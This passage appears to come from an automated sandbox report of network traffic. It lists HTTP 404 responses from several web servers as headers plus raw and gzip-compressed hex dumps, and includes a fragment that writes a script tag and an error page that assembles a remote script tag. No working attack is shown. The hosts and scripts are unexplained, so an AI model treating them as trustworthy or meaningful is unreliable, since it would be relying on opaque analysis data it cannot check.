73 63 72 69 70 74 22 3e 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 74 20 74 79 70 65 3d 2
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=UTF-8x-request-id: 679f2543-3481-4a3d-a4e3-5e9e2ad5c117x-runtime: 0.029777content-length: 17134connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 2e 62 6f 78 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 45 45 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 35 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 35 65 6d 20 31 2e 35 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 2e 32 65 6d 20 30 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 70 78 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=UTF-8x-request-id: b48f66f8-e84b-437c-80bf-e31ef0255395x-runtime: 0.021908content-length: 17154connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 2e 62 6f 78 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 45 45 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 35 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 35 65 6d 20 31 2e 35 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 2e 32 65 6d 20 30 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 70 78 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=UTF-8x-request-id: 5325af3b-84a0-482b-ab46-c4e2842ab007x-runtime: 0.021576content-length: 18170connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 3c 74 69 74 6c 65 3e 41 63 74 69 6f 6e 20 43 6f 6e 74 72 6f 6c 6c 65 72 3a 20 45 78 63 65 70 74 69 6f 6e 20 63 61 75 67 68 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 41 46 41 46 41 3b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 62 6f 64 79 2c 20 70 2c 20 6f 6c 2c 20 75 6c 2c 20 74 64 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 68 65 6c 76 65 74 69 63 61 2c 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 20 20 31 33 70 78 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 20 7b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 20 20 77 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 70 72 65 2e 62 6f 78 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 45 45 45 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 35 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 65 61 64 65 72 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 46 30 46 30 46 30 3b 0a 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 2e 35 65 6d 20 31 2e 35 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 2e 32 65 6d 20 30 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 31 65 6d 3b 0a 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 65 6d 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 68 32 20 7b 0a 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 35 32 46 32 34 3b 0a 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 35 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 64 65 74 61 69 6c 73 20 7b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 44 30 44 30 44 30 3b 0a 20 20 20 20 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 0a 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 31 65 6d 20 30 70 78 3b 0a 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 77 69 64 74 68 3a 20 39 37 38 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 15:23:20 GMTServer: Apache/2.4.10 (Debian)Content-Length: 275Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 30 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 64 6c 69 6f 6e 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.10 (Debian) Server at www.dlion.net Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.19.3.1Date: Tue, 10 Dec 2024 15:25:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Cache: MISS from kangle web serverContent-Encoding: gzipData Raw: 32 32 30 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ad 53 4d 8f d3 30 10 3d d3 5f 61 22 81 bb 5a 25 ee f6 63 59 5a c7 1c 90 e0 82 56 08 76 cf c8 8d a7 89 d9 34 0e 13 37 4b ff 3d 33 89 4a 11 f4 48 0e 71 e2 bc bc 37 ef cd 58 57 71 5f 9b 89 ae c0 3a 33 79 a1 f7 10 ad a8 62 6c 53 f8 71 f0 7d 9e bc 0f 4d 84 26 a6 0f c7 16 12 51 8c 6f 79 12 e1 67 54 fc ef 46 14 95 c5 0e 62 fe f8 f0 21 bd 4b 98 24 fa 58 83 59 ce 96 5a 8d 8f 13 ad 46 01 bd 0d ee 48 72 ce f7 c2 bb 5c ee ad 6f a4 b8 74 11 c8 1b 5d cd cd d7 40 35 55 be 29 05 20 06 5c 13 d5 dc 68 e5 09 d0 12 60 31 ea d0 ca cf 7a 47 05 52 95 75 c0 5c 22 38 69 ee 83 e8 0e 45 25 76 be 06 11 50 38 8f 50 c4 80 c7 4c 2b 06 13 15 ff a7 da 81 ef 73 0d b6 03 b2 04 c5 13 a3 35 85 81 b0 cb e5 77 db db ae 40 df c6 75 1d 0a 1b 7d 68 32 84 3a 58 37 bd 92 26 e2 51 d8 92 bc 68 65 8d a8 6d 04 24 7a a6 24 a3 a6 0a 5d 6c ec 1e d6 e2 c9 36 25 95 f1 0c 5b d1 01 f6 80 5a 31 40 57 38 42 87 4c da ad 34 1f a1 01 24 1a 27 b6 c7 8b 45 9c 23 eb 2d 92 61 07 39 e5 fd 57 94 66 d4 53 8b 6c 95 cd 6f b2 9b 5b 2e 2f a3 66 b0 e8 ef 65 b4 45 55 37 e5 c1 96 f0 a7 57 49 dd 64 7e 8a 00 10 50 e4 02 ba c2 b6 30 75 a1 38 ec 69 2c 28 03 fa 42 9f ae 36 23 f2 80 f5 05 d4 e3 97 4f 27 c0 be 2b 09 20 ef c3 ab f9 8c 1b 43 0b b7 86 96 80 74 3b b7 47 6e 26 6c 92 e5 4f 01 e6 f2 9f 00 09 35 54 08 3d 55 f3 8d 47 ea b4 63 c7 8b c4 a6 52 93 47 79 2d a9 7b 67 9b c9 b9 a5 89 e8 b0 c8 13 1e fb 6e ad d4 30 67 d9 28 45 ad ca 1a 88 ea dd 29 e2 d7 7d 95 af de 2e 97 cb 55 42 53 c3 bc e2 5a 30 b3 91 64 71 d8 e1 97 89 7e 99 a6 a2 b5 ce f1 e4 ee 68 94 3c 88 34 35 ff 65 7b 24 bf 7d b3 b8 9b cd 8a 1d d3 92 f0 70 b2 68 98 f9 3c ff 02 63 82 3d 3b d6 03 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 220SM0=_a"Z%cYZVv47K=3JHq7XWq_:3yblSq}M&QoygTFb!K$XYZFHr\ot]@5U) \h`1zGRu\"8iE%vP8PL+s5w@u}h2:X7&Qhem$z$]l6%[Z1@W8BL4$'E#-a9WfSlo[./feEU7WId~P0u8i,(B6#O'+ Ct;Gn&lO5T=UGcRGy-{gn0g(E)}.UBSZ0dq~h<45e{$}ph<c=;0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openresty/1.19.3.1Date: Tue, 10 Dec 2024 15:25:56 GMTContent-Type: text/html; charset=utf-8Content-Length: 982Connection: closeX-Cache: MISS from kangle web serverData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 27 6d 61 69 6e 27 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 3c 69 3e 3c 68 32 3e 53 6f 6d 65 74 68 69 6e 67 20 65 72 72 6f 72 3a 3c 2f 68 32 3e 3c 2f 69 3e 0a 3c 70 3e 3c 68 33 3e 34 30 34 3c 2f 68 33 3e 3c 68 33 3e 3c 66 6f 6e 74 20 63 6f 6c 6f 72 3d 27 72 65 64 27 3e 4e 6f 20 73 75 63 68 20 66 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 2e 3c 2f 66 6f 6e 74 3e 3c 2f 68 33 3e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 6f 72 20 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 29 27 3e 74 72 79 20 61 67 61 69 6e 3c 2f 61 3e 20 6c 61 74 65 72 2e 3c 2f 70 3e 0a 3c 64 69 76 3e 68 6f 73 74 6e 61 6d 65 3a 20 6b 61 6e 67 6c 65 20 77 65 62 20 73 65 72 76 65 72 3c 2f 64 69 76 3e 3c 68 72 3e 0a 3c 64 69 76 20 69 64 3d 27 70 62 27 3e 47 65 6e 65 72 61 74 65 64 20 62 79 20 3c 61 20 68 72 65 66 3d 27 6a 61 76 61 73 63 72 69 70 74 3a 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 6f 64 65 3d 34 30 34 27 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3e 6b 61 6e 67 6c 65 2f 33 2e 35 2e 32 31 2e 31 36 3c 2f 61 3e 2e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 27 6a 61 76 61 73 63 72 69 70 74 27 3e 0a 09 76 61 72 20 72 65 66 65 72 65 72 20 3d 20 65 73 63 61 70 65 28 64 6f 63 75 6d 65 6e 74 2e 72 65 66 65 72 72 65 72 29 3b 0a 09 76 61 72 20 75 72 6c 20 3d 20 65 73 63 61 70 65 28 64 6f 63 75 6d 65 6e 74 2e 55 52 4c 29 3b 0a 09 76 61 72 20 6d 73 67 20 3d 20 27 4e 6f 25 32 30 73 75 63 68 25 32 30 66 69 6c 65 25 32 30 6f 72 25 32 30 64 69 72 65 63 74 6f 72 79 2e 27 3b 0a 20 20 20 20 76 61 72 20 68 6f 73 74 6e 61 6d 65 3d 27 6b 61 6e 67 6c 65 20 77 65 62 20 73 65 72 76 65 72 27 3b 0a 09 76 61 72 20 65 76 65 6e 74 5f 69 64 3d 27 27 3b 0a 09 76 61 72 20 61 61 61 61 61 61 61 20 3d 20 28 27 3c 73 63 72 27 2b 27 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 65 72 72 6f 72 2e 6b 61 6e 67 6c 65 77 65 62 2e 6e 65 74 2f 3f 63 6f 64 65 3d 34 30 34 26 76 68 3d 35 39 34 34 34 35 22 3e 3c 2f 73 63 72 27 20 2b 20 27 69 70 74 3e 27 29 3b 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 21 2d 2d 20 70 61 64 64 69 6e 67 20 66 6f 72 20 69 65 20 2d 2d 3e 3c 21 2d 2d 20 70 61 64 64 69 6e 67 20 66 6f 72 20 69 65 20 2d 2d 3e 3c 21 2d 2d 20 70 61 64 64 69 6e 67 20 66 6f 72 20 69 65 20 2d 2d 3e 3c 21
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 10 Dec 2024 15:26:32 GMTServer: Apache/2.4.62 (Debian)Content-Length: 281Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 36 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 67 75 63 63 69 71 75 65 65 6e 2e 73 68 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.62 (Debian) Server at www.gucciqueen.shop Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 10 Dec 2024 15:27:03 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 63 30 30 30 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 5b 73 e3 46 b2 30 f8 ee 5f 41 f1 84 d5 a4 1b 84 70 e7 ad d1 1a 8f a7 7d ec 38 33 b6 63 da 67 26 36 34 0a 05 44 82 22 dc 20 c0 03 80 52 cb 12 4f 6c ec c3 fe 8f 7d dc b7 f3 b0 5f c4 ee c3 be ec 2f 98 ef 1f 6d 66 15 ee 37 16 08 52 ea ee 23 d9 4d 82 40 55 66 65 56 56 56 66 56 55 e2 cd c9 dc 9d 05 f7 6b b3 b3 0c 56 f6 db 37 f8 d9 b1 0d e7 46 ef 7a 9b 6e 67 66 1b be af 77 2d ff ca 98 1b eb c0 ba 35 bb 9d b9 11 18 83 b5 e1 98 f6 60 e3 d9 7a 77 19 04 6b 7f 72 76 e6 9b de ad e9 29 2a bf 74 fd c0 72 6e 78 cf 84 7f 9b b3 95 e1 18 37 a6 d7 05 e0 a6 31 7f fb 66 65 06 46 67 b6 34 3c df 0c f4 ee bf ff fa fd 60 d4 0d ef 3a c6 ca d4 bb b7 96 79 b7 76 bd 00 d0 bb 4e 60 3a 50 ea ce 9a 07 4b 7d 6e de 5a 33 73 40 7e 70 96 63 05 96 61 0f fc 99 61 9b ba 98 05 e1 b9 d7 6e e0 a7 00 38 ae e5 cc cd 8f 50 2a b0 02 db 7c fb cf ff e3 7f fe 6f ff f3 7f fd e7 7f fd f3 ff fd e7 ff fd 3f ff f7 7f fe 57 07 2e fe c7 a9 73 ed af a7 70 f5 5f ff fc 7f fe f9 7f fd f3 7f e0 d5 9b 33 5a e1 8d 1f dc db 66 67 65 ce 2d 43 ef 1a b6 dd 7d 7b f6 cd c9 37 9f fb df c9 37 ff f8 aa d3 41 3a 3a 33 df ef f0 67 8e 3b 37 af 56 ee 7c 63 9b fe 19 dc 1a d8 ae 31 37 bd 33 c2 3e fe 37 ff fc 7c 66 bb 8e 39 ff 2b 14 78 6f 06 03 8d df f8 e6 85 78 79 92 ab ba 06 21 48 55 f7 bd 59 0c 22 5f 14 fe c5 e5 e6 96 1f 9c cd 7e f3 69 b1 6b 73 75 76 6d bb b3 0f 3e 1f c9 df d9 35 c8 de 4d f4 c5 63 dd 0e d2 01 54 fc e3 b9 99 d9 fa ef ec 2b 9e d2 f5 00 7c 58 db c6 fd 64 61 9b 1f a7 f8 31 98 5b 9e 39 0b 2c d7 99 cc 5c 7b b3 72 a6 64 18 4c 44 41 f8 7a ba b2 1c 3a 2a 26 b2 24 ac 3f 4e 97 a6 75 b3 0c e8 b3 b5 31 9f c3 68 9c a8 c3 f5 c7 8e d0 11 a6 2b c3 bb b1 9c 89 30 05 38 ae 37 f9 17 59 53 e0 ff e9 02 86 ca 44 94 a0 d0 8f 30 66 3c ee 5b 0f 46 17 f7 83 69 df 9a 81 35 33 3a 3f 99 1b 33 f9 c9 7d ef 99 e6 7b c3 f1 39 1f 3e 06 30 f6 ad c5 f4 da 98 7d b8 f1 dc 8d 33 9f fc cb 62 b1 98 0e ee cc eb 0f 56 30 08 8c f5 60 09 2d b2 b1 55 03 8a 36 f0 a0 de da f0 60 74 6e 51 e9 4c 1c 37 e8 f1 29 45 d3 ef 44 bc 70 41 ad 2c 6c f7 6e f0 71 b2 b4 e6 73 d3 d9 fe 81 0c c3 4e 2f a1 5b 14 24 65 fd b1 ff 90 86 50 03 60 1b 3e ba 42 d5 77 05 cd f8 00 2c 7a 40 70 09 eb 6e 97 d9 52 a6 e7 b9 1e 05 18 f1 54 d8 d1 f4 ab 95 e9 6c 06 58 18 3b 0e 9e cf cd 39 d7 bc ca c0 98 61 99 08 ed 20 70 d7 80 ba 19 13 ca e0 e6 00 6e 1b 36 41 44 59 3b 40 33 ca c9 db 25 15 99 d2 a9 11 30 1e 6b d0 aa 1d 4c 86 27 d6 e2 7e 70 ed b9 77 20 ba 57 b7 96 6f 5d db 59 98 aa d2 98 b8 1d 6d 2a e5 07 6b 4b 92 ce 71 af 2d db 1c 44 32 7d 45 25 9a 8b 1e fb 9b 6b 64 f1 95 bb 36 41 4b c7 a2 1f 09 fe 0e be 5c 2d 5c 17 06 ff 60 ee de 39 3b 05 b5 bc 21 3b 6a 55 b5 2f 24 bc a9 38 ed 02 d7 58 3c 4b 89 2a 81 cb 5b 49 b7 47 ca 9a 4c 55 db 32 5e 3e a0 0a 9f 88 